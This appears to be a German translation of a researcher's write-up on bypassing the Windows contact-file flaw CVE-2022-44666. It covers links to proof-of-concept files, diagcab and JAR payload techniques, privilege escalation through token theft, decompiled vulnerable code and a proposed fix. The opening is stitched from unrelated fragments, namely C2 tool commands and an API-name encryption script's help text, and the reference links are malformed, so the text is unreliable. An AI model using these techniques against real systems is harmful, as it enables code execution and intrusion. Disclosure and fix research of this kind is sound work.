python3 getcert.py -d www.example.com -p test -f example.txt
Um das C2-Profil mit Remote-Agent auszulesen:
python3 getcert.py -u 192.168.1.20/agent.dll -p test
usage: encryption.py [-h] [-f FILE] [-p PASSWORD]
optionale Argumente:
-h, --help zeigt diese Hilfemeldung an und beendet das Programm
-f FILE, --file FILE Dateiname, in dem die API-Aufrufnamen gespeichert sind
-p PASSWORD, --password PASSWORD
Passwort zum Verschlüsseln der API-Aufrufnamen```html
[email protected] [email protected]
Weitere Informationen finden Sie in einem Video für eine [eigenständige Kontaktdatei](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/simple-payload.gif).

Proof of Concept befindet sich in [./bypass/report-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/report-pocs).
Und ein weiteres für [MS Word und LDAP-URL-Protokoll](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-exploit.gif).

Proof of Concept befindet sich in [./bypass/further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/further-pocs).
Einen Tag nach der Patch-Veröffentlichung wurden diese Informationen an das MSRC gesendet. Leider wurde der Fall kürzlich ohne weitere Informationen geschlossen.

## Diagcab-Datei als Payload
Nach [CVE-2022-30190][R.14], auch bekannt als [Follina-Sicherheitslücke][R.15], und [CVE-2022-34713][R.16], auch bekannt als [DogWalk-Sicherheitslücke][R.17], wurde eine [öffentlich bekannte, aber unterschätzte Technik][R.18] dank [@buffaloverflow][R.19] wiederbelebt. Mein Kumpel und Freund [Eduardo Braun Prado][R.20] gab mir die Idee, diese Technik hier zu verwenden.
Es gibt einige Voraussetzungen, um dies zu tun:
1. Der Zielbenutzer muss der Administratorgruppe angehören. Falls nicht, erscheint eine UAC-Eingabeaufforderung.
2. Die Diagcab-Datei muss signiert sein, daher muss das Codesignaturzertifikat auf dem Zielcomputer installiert sein.
Ein reales Angriffsszenario würde darin bestehen, ein Codesignaturzertifikat zu stehlen, das tatsächlich im Zielsystem installiert ist. Da dies jedoch nur ein Proof of Concept ist, wurde ein selbstsigniertes Codesignaturzertifikat generiert und verwendet, um die Diagcab-Datei namens [@payload.diagcab](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/MSWord/hidden/%40payload.diagcab) zu signieren.
Um dies zu reproduzieren, muss daher das Zertifikat in [cert.cer](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/cert.cer) unter der vertrauenswürdigen Stammzertifizierungsstelle installiert werden [wie hier gezeigt](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/install-certificate.gif):

Um schließlich die Berechtigungen zu erhöhen, könnte ein Token-Diebstahl/-Impersonation verwendet werden. In diesem Fall wurde die ["Parent Process"-Technik][R.21] als [die ausgewählte][R.22] verwendet. Eine modifizierte Version für dieses Skript wurde in die Resolver-Skripte aufgenommen.
Weitere Informationen finden Sie in einem Video für [MS Word und LDAP-URL-Protokoll](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-diagcab-exploit.gif).

Proof of Concept befindet sich in [./bypass/diagcab-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs).
## JAR-Dateien als Payload
***Update 2023/06/19:*** Nachdem ich [@pfiatde][R.24]s [Beitrag über "ZipJar"][R.25] gelesen habe, macht diese interessante Information JAR-Dateien zu einem guten Kandidaten, der als Payload in dieser Sicherheitslücke verwendet werden kann, die übrigens immer noch eine 0Day ist, da der MotW ignoriert wird und keine Eingabeaufforderung akzeptiert werden muss.
Der JAR-Payload wurde aus dem GitHub-Repository [calc_security_poc][R.26] entnommen.
Hier finden Sie einen kleinen Builder, [create-poc.py](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/jar-poc), um Ihren eigenen POC aus einer Vorlage zu erstellen.

Vergessen Sie nicht, [@microlovu][R.27] und [@mlftsecresponse][R.28] zu danken. 😂
## Vorgeschlagener Fix
Erinnern Sie sich an den anfälligen Code in der Funktion "fnSummaryProc":```cpp
...
LABEL_44:
SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@"
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44;
}
}
...
Die Funktion "IsInternetAddress" wurde absichtlich erstellt, um zu überprüfen, ob das href-Attribut einer E-Mail-Adresse entspricht. Mein vorgeschlagener Fix (unter Verwendung der importierten Funktionen, die die Bibliothek verwendet) wäre also:```cpp ... if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:" { v30 = v23; goto LABEL_44; } ...
So einfach wie hier: Es muss nur vor dem Aufruf von „SafeExecute“ überprüft werden. Wenn getestet wird, ob der Zielstring (v23) mit „mailto:“ beginnt, wäre der Fehler IMHO vollständig behoben.
## Inoffizieller Fix
Vor einigen Tagen/Wochen, als ich [@mkolsek][R.30] von [0patch][R.23] kontaktierte, um ihn über dieses Problem zu informieren, der übrigens immer sehr nett zu mir ist, sagte er mir, dass dies seitdem [einen inoffiziellen Fix für Windows 7 erhalten hat][R.29] (vor 4 Jahren). Das war eine Überraschung und eine gute Nachricht!
Es wurde getestet und stoppte erfolgreich die neue Variante von CVE-2022-44666. Der Micropatch fügt dem vom Angreifer kontrollierten String, der über das href-Attribut übergeben wird, „http://“ voran, falls dieser nicht mit „mailto:“, „http://“ oder „https://“ beginnt, was ausreicht, um das Problem vollständig zu beheben. Jetzt wird es für die neuesten Windows-Versionen erweitert, es müssen nur einige Offsets aktualisiert werden.

Wie auch immer, es wäre besser, einen offiziellen Patch zu erhalten.
## Danksagungen
+ [@hyp3rlinx][R.1]: Besondere Erwähnung und Anerkennung, weil er diese Forschung vor einigen Jahren begann und seine Arbeit für diesen Bericht wesentlich war. ~~Er hätte auch für die Entdeckung dieser Sache Anerkennung erhalten sollen, aber leider konnte ich ihn nicht rechtzeitig kontaktieren~~. Es ist bereits geschehen (***Update 2023/02/08***).
+ [@Edu_Braun_0day][R.20]: der auch an [diesem Problem][R.31] gearbeitet hat.
+ [@mkolsek][R.30].
+ [@matalaz][R.12].
+ [@buffaloverflow][R.19].
+ [@msftsecresponse][R.2].
+ ...
Von [@j00sean](https://twitter.com/j00sean)
[R.1]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/hyp3rlinx%3E "@hyp3rlinx"
[R.2]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/msftsecresponse%3E "@msftsecresponse"
[R.3]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/thezdi%3E "@thezdi"
[R.4]: <https://www.exploit-db.com/exploits/46222> "John Page (aka hyp3rlinx)'s Exploit, der vor mehr als 4 Jahren vollständig offengelegt wurde"
[R.5]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.zerodayinitiative.com/advisories/ZDI-19-121/%3E "ZDI-19-121"
[R.6]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.microsoft.com/en-us/windows/win32/controls/syslink-overview%3E "MS-Dokumentation zu Syslink-Steuerelementen"
[R.7]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.mozilla.org/en-US/security/advisories/mfsa2022-24/#CVE-2022-34478> "CVE-2022-34478: Deaktivierung von search-ms für Mozilla Firefox"
[R.8]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.bmc.com/docs/fpsc121/ldap-attributes-and-associated-fields-495323340.html%3E "LDIF-Attribute und zugehörige Felder-Dokumentation"
[R.9]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/ldaptor.readthedocs.io/en/latest/quickstart.html#ldap-server-quick-start> "ldaptor-Server-Schnellstart"
[R.10]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44666%3E "CVE-2022-44666"
[R.11]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/joxeankoret/diaphora%3E "Diaphora"
[R.12]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/matalaz%3E "@matalaz"
[R.13]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/learn.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-urlisw%3E "UrlIsW-Funktion"
[R.14]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190%3E "CVE-2022-30190"
[R.15]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/security/new-microsoft-office-zero-day-used-in-attacks-to-execute-powershell%3E "Follina vulnerability"
[R.16]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34713%3E "CVE-2022-34713"
[R.17]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/microsoft/microsoft-patches-windows-dogwalk-zero-day-exploited-in-attacks%3E "DogWalk vulnerability"
[R.18]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow/status/1534445288332701697%3E "Diagcab files"
[R.19]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow%3E "@buffaloverflow"
[R.20]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/edu_braun_0day%3E "@Edu_Braun_0day"
[R.21]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/decoder.cloud/2018/02/02/getting-system%3E "Parent-Prozess-Technik"
[R.22]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/decoder-it/psgetsystem%3E "Getsystem über Parent-Prozess"
[R.23]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/0patch.com%3E "0patch"
[R.24]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/pfiatde%3E "@pfiatde"
[R.25]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/badoption.eu/blog/2023/06/01/zipjar.html%3E "ZipJar, eine etwas unerwartete Angriffskette"
[R.26]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/arntsonl/calc_security_poc/tree/master/jar%3E "calc_security_poc"
[R.27]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/microlovu%3E "@microlovu"
[R.28]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mlftsecresponse%3E "@mlftsecresponse"
[R.29]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/blog.0patch.com/2019/01/one-two-three-micropatches-for-three.html%3E "Micropatch vor 4 Jahren veröffentlicht"
[R.30]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mkolsek%3E "@mkolsek"
[R.31]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/packetstormsecurity.com/files/151267/Microsoft-Windows-VCF-Arbitrary-Code-Execution.html%3E "Microsoft Windows VCF- oder Kontaktdatei - URL-Manipulation-Spoof-Ausführung beliebigen Codes"

